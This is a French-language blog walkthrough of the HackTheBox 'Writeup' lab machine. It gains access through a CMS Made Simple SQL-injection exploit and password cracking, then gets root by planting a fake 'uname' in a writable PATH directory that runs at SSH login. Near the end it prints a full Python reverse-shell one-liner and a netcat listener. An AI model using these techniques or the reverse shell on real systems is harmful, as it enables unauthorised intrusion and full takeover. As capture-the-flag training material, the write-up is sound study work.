P0pR0cK5's Blog

Pentest, Challenges, Tests and more ...

View on GitHub

HackTheBox - Writeup

Retour

Writeup

root@kali:~# nmap -sCV 10.10.10.138 -p- 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-12 21:19 CEST
Nmap scan report for 10.10.10.138
Host is up (0.021s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.61 seconds

Sur le port 80, une page web toute bête, elle indique qu’un script surveille les requêtes web et nous bannit en cas de bruteforce. Ceci se confirme avec l’usage de tcpwrapper comme l’indique Nmap.

Faisons un tour des fichiers communs dans la recherche d’informations web :

  • index.php : rien
  • Login.php : rien
  • robots.txt : Bingo !
# Disallow access to the blog until content is finished.
User-agent: * 
Disallow: /writeup/

Rendez-vous dans le sous dossier :

writeup-1.png

Nous trouvons un site basique, voyons les requêtes envoyées par le navigateur a la recherche d’indice :

Host: 10.10.10.138
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: CMSSESSID9d372ef93962=b771ajp0ef695nuv0h5u4u1bd6
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 19 Apr 2019 08:36:26 GMT
Cache-Control: max-age=0

Un cookie du nom de CMSSESSID indique ici l’existence d’un framework ou d’un CMS. En tapant ceci sur google nous trouvons des pages de politique de cookie signalant ceci :

Le cookie commençant par **CMSSESSID **est créé par notre outil de gestion de contenu, CMS Made Simple, pour assurer son bon fonctionnement. 

Voyons voir les exploits disponibles :

root@kali:~# searchsploit CMS Made Simple
[je passe les détails, beaucoup d'exploits]
CMS Made Simple < 2.2.10 - SQL Injection                        | exploits/php/webapps/46635.py

En regardant les requêtes envoyées lorsque l’on clique sur les liens de la page, nous trouvons ceci :

http://10.10.10.138/writeup/index.php?page=writeup

Cela me semble assimilable à une potentielle source d’injection SQL. Je vais donc tenter cette piste.

Je vais donc récupérer l’exploit :

cp /usr/share/exploitdb/exploits/php/webapps/46635.py ./exploit.py

Puis le modifier :

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME =17
db_name = ""
output = ""
email = "jkr@writeup.htb"
salt = ''

Avant de le lancer :

root@kali:~/writeup# python exploit-sql.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htbjkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Note : cet exploit est d’une lenteur et d’une instabilité invraisemblable. Il faut donc tweaker la variable Time entre 15 et 30. Laisser tourner durant 8 a 10 minutes et ensuite retenter en cas d’échec. Conseil : Faire cette partie a coté d’un autre challenge ou d’une autre VM car elle a pris 3 jours dans mon cas.

Maintenant, testons les mots de passe partout :

root@kali:~/writeup# ssh jkr@10.10.10.138
jkr@10.10.10.138's password: 
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jun 16 03:16:24 2019 from 10.10.14.2
jkr@writeup:~$ whoami
jkr
jkr@writeup:~$ cat user.txt 
d4e493fd4068afc9eb1aa6a55319f978

Maintenant, place au privesc, avec pspy :

Note : cet outil permet aux users d’espionner les commandes et les appels au filesystem effectués par les autres utilisateurs, même root.

De l’autre côté je lance une deuxième connexion SSH pour faire des tests et voici ce que j’obtiens :

jkr@writeup:~$ ./pspy 
2019/06/16 08:35:30 CMD: UID=0    PID=2467   | sshd: [accepted]
2019/06/16 08:35:30 CMD: UID=0    PID=2469   | sshd: [accepted]
2019/06/16 08:35:41 CMD: UID=0    PID=2470   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:
/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2019/06/16 08:35:41 CMD: UID=0    PID=2471   | /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/s
bin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d 

Après quelques recherches et l’utilisation de pspy -pfje découvre que la connexion SSH s’effectue en plusieurs temps :

  • Connexion + négociation (échange de clé et consort)
  • Appel au script d’initialisation de la session
    • Mise en place du path
    • Appel d’un script de génération de MOTD personnalisé

Le fameux script est affichable :

jkr@writeup:~$ cat /etc/update-motd.d/10-uname 
#!/bin/sh
uname -rnsom

Comme nous le voyons dans la sortie de pspy, le path est le suivant : /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts

Voyons voir les droits disponibles :

jkr@writeup:~$ ls -aldh {/usr/local/sbin,/usr/local/bin,/usr/sbin,/usr/bin,/sbin,/bin}
drwxr-xr-x 2 root root  4.0K Apr 19 04:24 /bin
drwxr-xr-x 2 root root  4.0K Apr 19 04:14 /sbin
drwxr-xr-x 2 root root   20K Apr 24 13:13 /usr/bin
drwx-wsr-x 2 root staff  20K Jun 16 09:08 /usr/local/bin
drwx-wsr-x 2 root staff  12K Apr 19 04:11 /usr/local/sbin
drwxr-xr-x 2 root root  4.0K Apr 19 07:31 /usr/sbin

Pour simplifier, le chemin vers uname est le suivant :

jkr@writeup:~$ which uname
/bin/uname

Les groupes de l’utilisateur jkr sont les suivants :

jkr@writeup:~$ groups
jkr cdrom floppy audio dip video plugdev staff netdev

Il est donc possible d’écrire dans le dossier /usr/local/bin. Mais que se passe t’il si je créé un script dans le chemin /usr/local/bin avec le même nom (uname)?

jkr@writeup:~$ vi /usr/local/bin/uname
		    #!/bin/bash
            echo "coucou"
 jkr@writeup:~$ chmod +x /usr/local/bin/uname
 jkr@writeup:~$ uname                                                                                     
 coucou 

Le bash exécute bêtement mon script, maintenant soyons plus dangereux :

jkr@writeup:~$ vi /usr/local/bin/uname
	    #!/bin/bash
        whoami
        cat /root/root.txt
jkr@writeup:~$ uname                                                                                     
jkr                                                                                                      
cat: /root/root.txt: Permission denied                                                                   
jkr@writeup:~$ exit                                                                                      
logout                                                                                                   
Connection to 10.10.10.138 closed.                                                                       
root@kali:~/writeup# ssh jkr@10.10.10.138                                                                
jkr@10.10.10.138's password:                                                                             
root                                                                                                     
eeba47f60b48ef92b734f9b6198d7226        

Comme vous le voyez, nous sommes root ! Pour permettre de militariser l’attaque nous pourrions créer un utilisateur ou encore placer un reverse shell sur la cible pour s’y connecter directement :

#!/bin/bash

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.25",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Une fois sur le reverse shell :

root@kali:~/writeup# netcat -nlvp 1234                                                                   
listening on [any] 1234 ...                                                                              
connect to [10.10.16.25] from (UNKNOWN) [10.10.10.138] 56362                                             
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

# python -c 'import pty;pty.spawn("/bin/bash")
# export TERM=xterm
crtl-Z
root@kali:~/writeup# stty raw -echo 
root@kali:~/writeup# netcat -nlvp 1234

Note : PSPY est dispo ici sous forme de release exécutable: https://github.com/DominicBreuker/pspy


Written on October 17, 2019 by


Retour